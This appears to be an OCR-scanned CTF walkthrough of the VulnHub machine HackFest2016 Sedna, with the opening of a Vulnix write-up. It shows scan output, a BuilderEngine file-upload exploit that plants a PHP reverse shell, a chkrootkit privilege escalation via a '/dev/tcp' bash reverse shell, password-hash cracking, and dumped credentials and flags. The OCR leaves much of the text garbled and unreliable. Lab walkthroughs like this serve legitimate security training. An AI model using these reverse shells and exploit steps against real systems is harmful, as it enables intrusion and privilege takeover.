MI3eQIsBxtkrOLnrTOwoZ9R2S6MAFNkXEiZANkgFpNeseIHVPgL4UygvophgELlt
GUa9XzQR1qUEvbZxo012/EA4UxRBcqR6kcNhfKZoxbY6mkRGwci2LGo2fuh6oY1+n
K5Fisu6pVMVD+2Yv7DXNIHDQYVKyicqFeHUoCxA4r6CEf1EFEqbVEtwQLTI7WMEmb
vhHPVrWaRDaVL8BrQUGZ0SqQeCMGzDb7FKTCuovuA91gbQVvS4aYgZ5351uPEouP
dQSP4M9+/0i5EUNhI7rrAwHQTf ooufDb5dcUKSkmepxQQj/smBsCAWEAAaNQME4w
HQYDVROOBBYEFCQ1pdBP6Hsgf0Sj4Ja0/CL9Rgt4MB8GA1UdIwQYMBaAFCQ1pdBP
6Hsgf0Sj4Ja0/CLI9Rgt4MAWGA1UJEWQFMAMBAf8wDQY JKoZIhvcNAQELBQADggEB
ACFvU3t31scCHV3KHEGt3gN+5sADA9KsOn6a5SRuwHg jCPtUMUzINeGkPBES/yNL
R7Z19bQUj2TSEauenIxGDamCzGNzwpdeyNSPT8Ce6NE+Gv4xarAQlpzgl+c1CUZP
TKQ1lrNZ1MYAJMINebn2zXNPY+04X0Foda8RzCKHB5c/ErPfQbgxsrWjoZuNY2/pf
BCab1I91ExaHiIRMjOUNsXae9kZIyFkh2HghKN+/b/fGoYC1lwOv6U/BFeEAtCwen
FOO0sUuo8V8xwlxGotA/swaAznhE481bXX5sKSjr19W/EIxPNUueg9Sx4uEBfAEFo
101 W+4SE1VrFEDdGPE+HYeeBHY=

w2z | _————- END CERTIFICATE-----

13 |_ssl-date: ERROR: Script execution failed (use -d to debug)

104 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
105 993/tcp open ssl/imap syn-ack ttl 64 Dovecot imapd (Ubuntu)
106 |_imap-capabilities: ENABLE Pre-login more listed AUTH=PLAINAOOO1 IMAP4revl OK LOGIN-REFERRALS
» ID capabilities post-login SASL-IR have LITERAL+ IDLE
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17 | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail
o server/emailAddress=root@localhost/organizationalUnitName=1localhost
108 | Issuer: commonName=localhost/organizationName=Dovecot mail

o server/emailAddress=root@localhost/organizationalUnitName=1localhost
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
1z | Not valid before: 2016-10-07T19:17:14
|
|
|

109
110

111

Not valid after: 2026-10-07T19:17:14
MD5: a32c 1b8e 97£f3 210f d238 ba3d ac4b5 74f7
115 SHA-1: Ob7b 4229 b7af 8f89 db533 2ecf b5alf f652 a015 0295
A | == BEGIN CERTIFICATE-----
| MIIDnTCCAoWgAwIBAgIJAOPieD18C1zLMAOGCSqGSIb3DOEBCwUAMGUxHDAaBgNV
| BAoMEORvdmVjb3QgbWFpbCBzZXJ2ZXIXE]jAQBgNVBASMCWxvY2FsaG9zdDESMBAG
| A1UEAwWwJbGYjYWxob3NOMROWGWY JKoZIhvcNAQkBFg5yb290QGxvY2FsaG9zdDAe
| FwOxNjEwMDcxOTE3MTRaFwOyNjEwMDcxOTE3MTRaMGUxHDAaBgNVBAOMEORvdAmY j
| b3QgbWFpbCBzZXJ2ZXIXEjAQBgNVBASMCWxvY2FsaG9zdDESMBAGA1UEAwwJIbG j
| YWxob3NOMROwWGWYJKoZIhvcNAQKBFg5yb290QGxvY2FsaG9zdDCCASIwDQYJKoZI
| hvcNAQEBBQADggEPADCCAQoCggEBANgEPrhbMnoofhkznlgq/qhMB/PykOQMB+Ec
| MI3eQIsBxtkrOLnrTOwoZO9R2S6MAFNkXEiZANkgFpNeseIHVPgL4UygvophgEL1t
| GUa9XzQR1qUEvbZxo012/EA4UxRBcqR6kcNhfKZoxbY6mkRGwci2LGo2fuh6oY1+n
126 | KBFisuBpVMVD+2Yv7DXNIHDQYVKyicqFeHUoCxA4r6CE1EFEqbVEtwQLTI7WMEmb
127 | vhHPVrWaRDaVL8BrQUGZ0SqQeCMGzDb7FKTCuovuA91lgbQVvS4aYgZ5351uPEouP

|

|

|

|

|

|

|

|

|

113

114

118
119
120

121

123
124

125

dQSP4M9+/0i5EUNhI7rrAwHQTf ooufDb5dcUKSkmepxQQj/smBsCAWEAAaNQME4w
HQYDVROOBBYEFCQ1pdBP6Hsgf0Sj4Ja0/CL9Rgt4MB8GA1UdIwQYMBaAFCQ1pdBP
6Hsgf0Sj4Ja0/CLI9Rgt4MAWGA1UJEWQFMAMBAf8wDQY JKoZIhvcNAQELBQADggEB
ACFvU3t31scCHV3KHEGt3gN+5sADA9KsOn6abSRuwHg jCPtUMUzINeGKPBES/yNL
R7Z19bQUj2TSEauenIxGDamCzGNzwpdeyNSPT8Ce6NE+Gv4xarAQlpzgl+c1CUZP
TKQ1lrNZ1MYAJMINebn2zXNPY+04X0Foda8RzCKHB5c/ErPfQbgxsrWjoZuNY2/pf
BCab1I91ExaHiIRMj0OUNsXae9kZIyFkh2HghKN+/b/fGoYC1lwOv6U/BFeEAtCwen
FO0sUuo8V8xwlxGotA/swaAznhE481bXX5sKSjr19W/EIxPNUueg9Sx4uEBfAEFo
136 W+4SE1VrFEDdGPE+HYeeBHY=

Ll | === END CERTIFICATE-----

138 |_ssl-date: ERROR: Script execution failed (use -d to debug)
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5/tcp open ssl/pop3 syn-ack ttl 64 Dovecot pop3d

pop3-capabilities: USER PIPELINING SASL(PLAIN) AUTH-RESP-CODE RESP-CODES TOP CAPA UIDL
ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail
server/emailAddress=root@localhost/organizationalUnitName=localhost

Issuer: commonName=localhost/organizationName=Dovecot mail

server/emailAddress=root@localhost/organizationalUnitName=localhost

Public Key type: rsa

Public Key bits: 2048

Signature Algorithm: sha256WithRSAEncryption

Not valid before: 2016-10-07T19:17:14

Not valid after: 2026-10-07T19:17:14

MD5: a32c 1b8e 97£3 210f d238 ba3d acdb 74f7

SHA-1: Ob7b 4229 b7af 8f89 d533 2ecf 5alf £652 a015 0295

MIIDnTCCAoWgAwIBAgIJAOPieD18C1zLMAOGCSqGSIb3DQEBCwUAMGUxHDAaBgNV
BAoMEORvdmV jb3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAG
A1UEAwwJbGY jYWxob3NOMROWGWY JKoZThvcNAQkBFg5yb290QGxvY2FsaG9zdDAe
FwOxNjEwMDcxOTE3MTRaFwOyNjEwWMDcx0TE3MTRaMGUxHDAaBgNVBAoMEORvdAmYV j
b3QgbWFpbCBzZXJ2ZXIxEjAQBgNVBAsMCWxvY2FsaG9zdDESMBAGA1UEAwwJbGIj
YWxob3NOMROWGWYJKoZThvcNAQkBFgbyb290QGxvY2FsaG9zdDCCASIwDQY JKoZI
hvcNAQEBBQADggEPADCCAQoCggEBANgEPrhbMnoofhkznlgq/qhMB/PykOQMB+Ec
MI3eQIsBxtkrOLnrTOwoZ9R2S6MAFNkXEiZANkgFpNeseIHVPgL4UygvophgEL1t
GUa9XzQR1qUEvbZxo12/EA4UxRBcqR6kcNhfKZoxbY6mkRGwci2LGo2fuh6oY1+n
K5Fisu6pVMVD+2Yv7DXNIHDQYVKyicqFeHUoCxA4r6CE1EFEqbVEtwQLTI7WMEmb
vhHPVrWaRDaVL8BrQUGZ0SqQeCMGzDb7FKTCuovuA91gbQVvS4aYgZ5351uPEouP
dQSP4M9+/0i5EUNhI7rrAwHQTfooufDb5dcUKSkmepxQQ j/smBsCAWEAAaNQME4w
HQYDVROOBBYEFCQ1pdBP6Hsgf0Sj4Ja0/CL9Rgt4MB8GA1UdIwQYMBaAFCQ1pdBP
6Hsgf0Sj4Ja0/CLORgt4MAwWGA1UdEWQFMAMBAL8wDQY JKoZIhvcNAQELBQADggEB
ACFvU3t31scCHV3KHEGt3gN+5sADA9KsOn6a5SRuwHg jCPtUMUzINeGKPBES/yNL
R7Z19bQUj2TSEauenIxGDamCzGNzwpdeyNSPT8Ce6NE+Gv4xarAQlpzgl+c1CUZP
TKQ1lrNZ1MYAJMINebn2zXNPY+04X0Foda8RzCKHB5c/ErPfQbgxsrWjoZuNY2/pf
BCab1I91ExaHiIRMjO0UNsXae9kZIyFkh2HghKN+/b/fGoYC1lwOv6U/BFeEAtCwen
FOOsUuo8V8xwlxGotA/swaAznhE481bXX5sKSjr19W/EIxPNUueg9Sx4uEBfAEFo
W+4SE1VrFEDdGPE+HYeeBHY=

ssl-date: TLS randomness does not represent time

80/tcp open http syn-ack ttl 64 Apache Tomcat/Coyote JSP engine 1.1

http-methods:
Supported Methods: GET HEAD POST PUT DELETE OPTIONS
Potentially risky methods: PUT DELETE
http-open-proxy: Proxy might be redirecting requests
http-server-header: Apache-Coyote/1.1
http-title: Apache Tomcat
C Address: 00:0C:29:53:40:6E (VMware)

rvice Info: Host: SEDNA; 0S: Linux; CPE: cpe:/o:linux:linux_kernel

st script results:
clock-skew: mean: 1h19m48s, deviation: 2h18m34s, median: -12s

nbstat: NetBIOS name: SEDNA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Names:
SEDNA<00> Flags: <unique><active>
SEDNA<O03> Flags: <unique><active>
SEDNA<20> Flags: <unique><active>
\x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
WORKGROUP<00> Flags: <group><active>
WORKGROUP<1d> Flags: <unique><active>



193

194

195

196

197

198

199

200

201

202

203

204

205

206

|  WORKGROUP<1e> Flags: <group><active>

| Statistics:

| 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00

| 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 00 00

|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| p2p-conficker:

| Checking for Conficker.C or higher...

|  Check 1 (port 37004/tcp): CLEAN (Couldn't connect)

| Check 2 (port 19405/tcp): CLEAN (Couldn't connect)

|  Check 3 (port 47650/udp): CLEAN (Timeout)

|  Check 4 (port 64850/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:

| 0S: Unix (Samba 4.1.6-Ubuntu)

|  NetBIOS computer name: SEDNA\x00
|  Workgroup: WORKGROUP\x00

|_  System time: 2019-09-18T21:02:13-04:00

| smb-security-mode:

|  account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:

| 2.02:

| _ Message signing enabled but not required

| smb2-time:

|  date: 2019-09-18 18:02:13

| _ start_date: N/A

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 18 18:02:34 2019 -- 1 IP address (1 host up) scanned in 27.71 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon
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11

12

13

14

15

16

17

18

19

20

21

22

openports

# Port

1. 22/tcp
2., C
3.

b 110/tcp
5 111/tcp
6.

Fe 139/tcp
8.

9.

10. 993/tcp

11. 995/tcp

12.

13. 40176/tcp

Protocol Service Scans

ssh ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux protocol 2.0) ./results/192.168.92.176/scans/tcp_22_ssh_nmap.txt

pop3 ttl 64 Dovecot pop3d ./results/192.168.92.176/scans/tcp_110_pop3_nmap. txt
./results/192.168.92.176/scans/tcp_111_nfs_nmap. txt

rpchind ttl 64 2-4 (RPC #100000) ./results/192.168.92.176/scans/tcp_111_rpc_nmap. txt

./results/192.168.92.176/scans/tcp_111_showmount. txt

/results/192.168.¢ 1 udg 137 _smb_nmap. tx

./results/192.168.92.176/scans/enum4linux. txt
netbios-ssn ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP) ./results/192.168.92.176/scans/smbclient.txt

./results/192.168.92.176/scans/tcp_139_smb_nmap. txt

ssl/imap ttl 64 Dovecot imapd (Ubuntu) ./results/192.168.92.176/scans/tcp_993_imap_nmap.txt
./results/192.168.92.176/scans/tcp_993_sslscan.txt
ss1/pop3 ttl 64 Dovecot pop3d ./results/192.168.92.176/scans/tcp_995_pop3_nmap.txt

./results/192.168.92.176/scans/tcp_995_sslscan.txt

status ttl 64 1 (RPC #100024)

Figure 3: writeup.enumeration.steps.2.1

3. From the Nikto scan report we see that there is a 1icense. txt file that could be interesting. We take a look at the
file and find Copyright (c) 2012 - 2015 BuilderEngine / Radian Enterprise Systems Limited. message
in it indicating installation of BuilderEngine application:

- Nikto v2.1.6

+ Target IP: 192.168.92.176

+ Target Hostname: 192.168.92.176

+ Target Port: 80

+ Start Time: 2019-09-18 18:02:37 (GMT-7)

+ Server: Apache/2.4.7 (Ubuntu)

+ Server leaks inodes via ETags, header found with file /, fields: 0x65 0x53fb059bb5bc8

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect
-~ against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the

~ content of the site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ "robots.txt" contains 1 entry which should be manually viewed.

+ Apache/2.4
o release)

+ 4+ + + + + o+

.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final
and 2.2.29 are also current.

Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
0SVDB-3268:
0SVDB-3092:
0SVDB-3092:
0SVDB-3233:
0SVDB-3092:
7536 requests: 0 error(s) and 12 item(s) reported on remote host

/files/: Directory indexing found.

/files/: This might be interesting...

/system/: This might be interesting...

/icons/README: Apache default file found.

/license.txt: License file found may identify site software.



23 + End Time: 2019-09-18 18:03:34 (GMT-7) (57 seconds)
22

25 + 1 host(s) tested

Findings
Open Ports
1 22/tcp | ssh | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
2 Bb3/tcp | domain | ISC BIND 9.9.5-3 (Ubuntu Linux)
s 80/tcp |  http | Apache httpd 2.4.7 ((Ubuntu))
4+ 110/tcp |  pop3 | Dovecot pop3d
s 111/tcp | rpcbind | 2-4 (RPC #100000)
¢ 137/udp | netbios-ns? |
7 139/tcp | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
s 143/tcp | imap | Dovecot imapd (Ubuntu)
o 445/tcp | netbios-ssn | Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
10 993/tcp | ssl/imap | Dovecot imapd (Ubuntu)
1 995/tcp | ssl/pop3 | Dovecot pop3d
12 8080/tcp |  http | Apache Tomcat/Coyote JSP engine 1.1
13 40176/tcp | status | 1 (RPC #100024)

Files
1 http://192.168.92.176/1license.txt



Phase #2: Exploitation

1. There’s an arbitrary file upload exploit for BuilderEngine that we can use:

searchsploit builderengine

rootekali: ~/toolbox/data/writeups/vulnhub.sedna # ss builderengine
Exploit Title | Path
| (/usr/share/exploitdb/)

and Execution (Metasploit)

Shellcodes: No Result
rootekali: ~/toolbox/data/writeups/vulnhub.sedna # ——

Figure 4: writeup.exploitation.steps.1.1

2. The exploit needs an update to point to the right BuilderEngine url and then it can be used to POST a local
file to the target server. We use this exploit to upload a PHP reverse shell, note the location of uploaded file, start
a local netcat listener and trigger file execution to catch incoming reverse shell:

http://192.168.92.176/themes/dashboard/assets/plugins/jquery-file-upload/server/php/
nc -nlvp 9999
http://192.168.92.176/files/php-reverse-shell.php

192.168.92 176/themes/da: X | -+

| &) —= Q (i) 192.168.92.176/themes/dashbon ses 4 {3 a »
B3 links

,deletelfrl":"http:4/\/192.168.92,176% /themesh /dashboardy/assets
\/pluginsh/jquery-file-upload\/servery/php\/?file=php- reverse-
shell.php", "deleteType": "DELETE"}]}

Figure 5: writeup.exploitation.steps.2.1

192.168.92.176/ X | 192.168.92.176/license.txt X | 192.168.92.176/themes/das/ X | @ New Tab X |+

@ | Q 192.168.92.176/files/php-reverse-shell.php
(5 links

Figure 6: writeup.exploitation.steps.2.2
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https://www.exploit-db.com/exploits/40390

root@kali: ~/toolbox/data/writeups/vulnhub.sedna # nc -nlvp 9999

listening on [any] 9999 ...

connect to [192.168.92.163] from (UNKNOWN) [192.168.92.176] 33511

Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 ©3:51:12 UTC 2014 i686 1686 1686 GNU/Linux
21:22:30 up 22 min, © users, load average: ©.01, 0.87, 0.25

USER TTY FROM LOGIN@ IDLE JCPU  PCPU WHAT

uid=33(www-data) gid=33(www-data) groups=33(www-data)

/bin/sh: ©: can't access tty; job control turned off

$

$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$

$ uname -a

Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 ©3:51:12 UTC 2014 i686 1686 1686 GNU/Linux

$

$ ifconfig

ethe Link encap:Ethernet HWaddr 80:8c:29:53:40:6e
inet addr:192.168.92.176 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: feB8@::20c:29ff:fe53:406e/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:625597 errors:6 dropped:7 overruns:® frame:@
TX packets:488807 errors:0 dropped:® overruns:@ carrier:0
collisions:® txqueuelen:1808
RX bytes:63714588 (63.7 MB) TX bytes:133375349 (133.3 MB)
Interrupt:19 Base address:0x2008

lo Link encap:Local Loopback
inet addr:127.0.8.1 Mask:255.0.0.0
ineté addr: ::1/128 Scope:Host
UP LOOPBACK RUMMNING MTU:65536 Metric:1l
RX packets:531 errors:® dropped:® overruns:® frame:®
TX packets:531 errors:® dropped:® overruns:® carrier:®
collisions:® txqueuelen:8
RX bytes:93984 (93.9 KB) TX bytes:93984 (93.9 KB}

$

Figure 7: writeup.exploitation.steps.2.3

Phase #2.5: Post Exploitation

1 www-data@Sedna> id

2 uid=33(www-data) gid=33(www-data) groups=33(www-data)

s  www-data@Sedna>

4 www-data@Sedna> uname

5 Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 1686 1686 1686
o GNU/Linuz

¢ www-data@Sedna>

7 www-data@Sedna> ifconfig

s ethO Link encap:Ethernet HWaddr 00:0c:29:53:40:6e

9 inet addr:192.168.92.176 Bcast:192.168.92.255 Mask:255.255.255.0
10 inet6 addr: fe80::20c:29ff:fe53:406e/64 Scope:Link

1 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

12 RX packets:625597 errors:6 dropped:7 overruns:0 frame:0

13 TX packets:488807 errors:0 dropped:0 overruns:0 carrier:0

14 collisions:0 txqueuelen:1000

15 RX bytes:63714580 (63.7 MB) TX bytes:133375349 (133.3 MB)

16 Interrupt:19 Base address:0x2000

17 www-data@Sedna>
12 www-data@Sedna> users

11
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crackmeforpoints
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Phase #3: Privilege Escalation
1. While exploring /var/www directory we find the first flag:

1 cat /var/www/flag.txt

www-data@sedna: /% cd /var/waww/
flag.txt html/
www-data@Sedna: /% cd /var/www/
www-data@sedna: /var/wwwh
www-data@sedna: /var/wwwh
www-data@sedna: /var/www$ 1ls -la

total 16
drwxr-xr-x 3 root root 4096 0Oct 22 2016
drwxr-xr-x 13 root root 4096 0ct 7 2016

-rw-r--r-- 1 www-data www-data 33 0ct 22 2016 flag.txt
drwxr-xr-x 9 www-data www-data 4896 0ct 25 2016 html
www-data@sedna: /var/wwwh

www-data@sedna: /var/wwwh

www-data@sedna: /var/wwwi

www-data@Sedna: /var/www$ cat flag.txt
bfbb7e6e6e88d9ac66848b%aeactib289

www-data@sedna: /var/wwwh

Figure 8: writeup.privesc.steps.1.1

2. We look for presence of chkrootkit shell script and find at /etc/chkrootkit/chkrootkit:

1 find / -type f -name chkrootkit 2>/dev/null
2> file /etc/chkrootkit/chkrootkit

www-data@Sedna: /tmp$ find / -type T -name chkrootkit 2=/dev/null
Jetc/chkrootkit/chkrootkit

www-data@Sedna: /tmp%

www-data@Sedna: /tmp%

www-data@Sedna: /tmp$ Tile fetc/chkrootkit/chkrootkit
Jetc/chkrootkit/chkrootkit: POSIX shell script, ASCII text executable
www-data@Sedna: /tmp%

Figure 9: writeup.privesc.steps.2.1

3. We find a local privilege escalation exploit for chkrootkit using searchsploit and look at steps to use this:

1 searchsploit chkrootkit
2 searchsploit -x 33899

Figure 10: writeup.privesc.steps.3.1
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1

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid @)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

IT an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.

Figure 11: writeup.privesc.steps.3.2

4. For the exploit to work, we create a /tmp/update file, assign executable permissions to it and add a Bash reverse
shell command to it:

touch /tmp/update
chmod +x /tmp/update
printf "bash -i >& /dev/tcp/192.168.92.163/443 0>&1 \n" >/tmp/update
cat /tmp/update
bash -i >& /dev/tcp/192.168.92.163/443 0>&1

www-data@Sedna: /tmp$ touch /tmp/update

www-data@Sedna: /tmp$ chmod +x /tmp/update

= "bash -i =& /dev/tcp/192.168.92.163/443 0=&1 \n" =/tmp/update
www-data@Sedna: /tmp%

www-data@Sedna: /tmp$ cat /tmp/update

bash -i =& /dev/tcp/192.168.92.163/443 0=>&1
www-data@Sedna: /tmp%

Figure 12: writeup.privesc.steps.4.1

5. Once chkrootkit shell script excutes via cronjob, it will also run /tmp/update file with root privileges giving
us an elevated shell:

nc -nlvp 443
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root@kali: ~/toolbox/data/writeups/vulnhub.sedna # nc -nlvp 9999

listening on [any] 9999 ...

connect to [192.168.92.163] from (UNKNOWN) [192.168.92.176] 33516

bash: cannot set terminal process group (17392): Inappropriate ioctl for device
bash: no job control in this shell

root@sedna:~#

root@sedna:~# id

id

uid=@(root) gid=0(root) groups=0(root)
root@sedna: ~#

root@Sedna:~# uname -a

uname -a

Linux Sedna 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 ©3:51:12 UTC 2014 i686 1686 1686 GNU/Linux
root@sedna:~#

root@sedna:~# ifconfig

ifconfig

Command 'ifconfig' is available in '/sbin/ifconfig'

The command could not be located because '/sbin' is not included in the PATH environment variable.
This is most likely caused by the lack of administrative privileges associated with your user account.
ifconfig: command not found

root@sedna: ~#

root@sedna:~# ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00: 00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
ineté ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1580 qdisc pfifo fast state UNKNOWN group default glen 18080
link/ether 08:8c:29:53:40:6¢e brd ff:ff:ff:ff:ff:Ff
inet 192.168.92.176/24 brd 192.168.92.255 scope global ethe
valid 1ft forever preferred 1ft forever
inet6 fe8@::20c:29ff:fe53:406e/64 scope link
valid 1ft forever preferred 1ft forever
root@sedna:~#

Figure 13: writeup.privesc.steps.5.1

6. We then get the second flag at /root/flag.txt:

cat /root/flag.txt
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root@sedna:

pwd

Jroot
root@sedna:
root@sedna:
root@sedna:
1s -la
total 65776
drwx------
drwxr-xr-x
-rwW-r--r--
W
~rW-F-=-r--
drwx------

-rW-r--r--
-W-r----

root@sedna:
root@sedna:

root@sedna:

~#

cat flag.txt
ale828beel7db751de4b936614558305

root@sedna:

~#

pwd

1s -1a

root
root
root
root
root
root
root
root
root
root
root

root
root
root
root
root
root
root
root
root
root
root

4096
4096
67309882
212
3106
4096
4096
i)
140
66
4096

cat flag.txt

Mar
Oct
Oct
Mar
Feb
Oct
Oct
Oct
Feb
Oct
Oct

12

24
12
19
22

22
19

22

2017 .

2016
2016
2017
2014
2016
2016
2016
2014
2016
2016

8d2daf441809dcd86398d3d750d768b5-BuilderEngine-CMS-V3.z1ip
.bash history

.bashrc

.cache

chkrootkit

flag.txt

.profile

.selected editor

.55h

Figure 14: writeup.privesc.steps.6.1

7. While exploring /etc/tomcat? directory we come across third flag:

1 cat /etc/tomcat7/tomcat-users.xml
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root@sedna:~# cat fetc/tomcat?/tomcat-users.xml

cat /etc/tomcat?/tomcat-users.xml

=?xml version='1.0"' encoding='utf-8'7?>

<! --
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

==

<tomcat-users=

= --
MOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary.

--=

<! --
NOTE: The sample user and role entries below are wrapped in a comment
and thus are ignored when reading this file. Do not forget to remove
<!.. ..=» that surrounds them.

<role rolename="tomcat"/=>

<role rolename="rolel"/=

<user username="tomcat" password="tomcat" roles="tomcat"/=
<user username="both" password="tomcat" roles="tomcat,rolel"/=
<user username="rolel" password="tomcat" roles="rolel"/=

<role rolename="manager-gui”/=

<user username="tomcat" password="submitthisforpoints” roles="manager-gui"/=
</tomcat-users=
root@sedna:~#

Figure 15: writeup.privesc.steps.7.1

8. To obtain fourth and final flag, we need to crack hash for user crackmeforpoints. We created a wordlist from
https://en.wikipedia.org/wiki/90377_Sedna and tried bruteforcing but it failed. We then tried bruteforcing
using the rockyou.txt wordlist but it didn’t complete on time:

cewl -m 4 -w dict.txt "https://en.wikipedia.org/wiki/90377_Sedna"
unshadow passwd shadow >unshadowed ; john --rules --wordlist=./dict.txt unshadowed
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed

17



root@kali: ~/toolbox/data/writeups/vulnhub.sedna # john --rules --wordlist=./dict.txt unshadowed
Warning: detected hash type "sha5l2crypt", but the string is also recognized as "crypt"

Use the "--format=crypt" option to force leoading these as that type instead

Using default input encoding: UTF-8

Loaded 2 password hashes with 2 different salts (shabl2crypt, crypt(3) $6% [SHA512 128/128 SSE2 2x])
Press 'gq' or Ctrl-C to abort, almost any other key for status

0g 0:©1:33:23 DONE (2019-09-19 13:56) 0g/s 170.8p/s 341.6¢/s 341.6C/s Aghtinniuming..Himining

Session completed
root@kali: ~/toolbox/data/writeups/vulnhub.sedna #

Figure 16: writeup.privesc.steps.8.1

root@kali: ~/toolbox/data/writeups/vulnhub.sedna # whr crack

crack is aliased to “unshadow passwd shadow >unshadowed ; john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed'
root@kali: ~/toolbox/data/writeups/vulnhub.sedna #

root@kali: ~/toolbox/data/writeups/vulnhub.sedna # crack

Warning: detected hash type "sha512crypt”, but the string is also recognized as "crypt"

Use the "--format=crypt" option to force loading these as that type instead

Using default input encoding: UTF-8

Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6% [SHA512 128/128 SSE2 2x])
Press 'gq' or Ctrl-C to abort, almost any other key for status

6g 0:00:00:05 0.00% (ETA: 2019-12-21 05:35) 0g/s 107.4p/s 214.9c¢c/s 214.9C/s evelyn..pebbles

g 0:00:21:28 0.02% (ETA: 2019-11-23 06:23) 0g/s 172.4p/s 344.8c/s 344.8C/s drl234..donkeyl®

Figure 17: writeup.privesc.steps.8.2
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Loot

Hashes
root:$6
o $sZyJ1Uny$0cHP9bd8d09rAKAlryxUjnUbHOdxgZc2uCePZMUUKSe IdALUulXLQ1iDjoEQpvZI . HTHOHUKCR . m39Xrt. .. .. ... ...

crackmeforpoints:$6$p22wX4fD$RRAamkeGIAS6p j4AMpM7CbrKPhShVkZnNH2N jZ8 JMUP6Y/ 1upG . 54kSph/ |
«~ HSP1LFcn4.2C11cFOR7Qmo. ...... ... .ot

Credentials

tomcat: tomcat/submitthisforp.....

Flags
bfbb7e6e6e88d9ae66848b9ae. . ... ..
a10828beel17db751de4b93661.......

References

[+] https://www.vulnhub.com/entry/hackfest2016-sedna, 181/
[+] https://www.n00py.i0/2017/03 /vulnhub-walkthrough-hackfest2016-sedna/
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https://www.vulnhub.com/entry/hackfest2016-sedna,181/
https://www.n00py.io/2017/03/vulnhub-walkthrough-hackfest2016-sedna/

[VulnHub] HackLAB: Vulnix

Date: 20/Sep/2019

Categories: oscp, vulnhub, linux
Tags: exploit_ nfs rw, exploit_ssh_authorizedkeys, privesc_ nfs_norootsquash, privesc_ssh_authorizedkeys

Overview
This is a writeup for VulnHub VM HackLLAB: Vulnix. Here are stats for this machine from machinescli:

4 machinescli -t --info vulnix

# ID Name Rating Difficulty 0S 0SCPlike Owned TTPs

1 vulnhub#48  HackLAB: Vulnix
privesc_nfs_norootsquash

privesc_ssh_authorizedkeys

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:

[VulnHub] HackLAB: Vulnix

192.168.92.177
Y
‘ Phase #1: Enumeration ‘

v v v y v v v v v v v v v y v
111/tcp | | 143/tcp| |512/tcp| [513/tcp| |514/tcp| [993/tcp| |995/tcp ‘2049/tcp‘ ‘34422/tcp‘ |39054/tcp‘ ‘50680/tcp‘ |57819/tcp‘ ‘59222/tcp‘ 25/tcp | | 797tep| [ 110/tcp
Y

Y ¥
showmount: /home/vulnix 22/tcp ‘user_enum: root, user, vu'lnix‘

Y ¥ ¥
Phase #2: Exploitation
v
mount, create user, copy id_rsa.pub - /home/vulnix/.ssh/authorized_keys password_bruteforce: user/letmein
y v
ssh vulnix@192.168.92.177 ssh user@l92.168.92.177
y
| Phase #3: Privilege Escalation |
y
sudo -1
y
